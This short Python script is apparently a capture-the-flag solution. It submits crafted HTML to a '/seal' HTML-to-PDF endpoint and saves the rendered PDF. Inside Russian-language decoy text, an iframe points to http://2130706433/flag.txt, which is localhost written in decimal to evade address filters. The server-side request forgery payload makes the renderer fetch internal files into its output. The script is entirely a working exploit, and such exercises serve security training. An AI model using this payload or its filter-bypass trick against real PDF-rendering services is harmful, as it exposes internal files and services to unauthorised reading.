import sys
import requests


def main():
    base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
    payload = """
<h1>Королевский Указ</h1>
<p>Приложение: донесение из Локхолда</p>
<iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>
""".strip()

    resp = requests.post(
        f"{base}/seal",
        data={"content": payload, "format": "html"},
        timeout=10,
    )
    resp.raise_for_status()

    with open("scroll.pdf", "wb") as f:
        f.write(resp.content)

    print("saved scroll.pdf")


if __name__ == "__main__":
    main()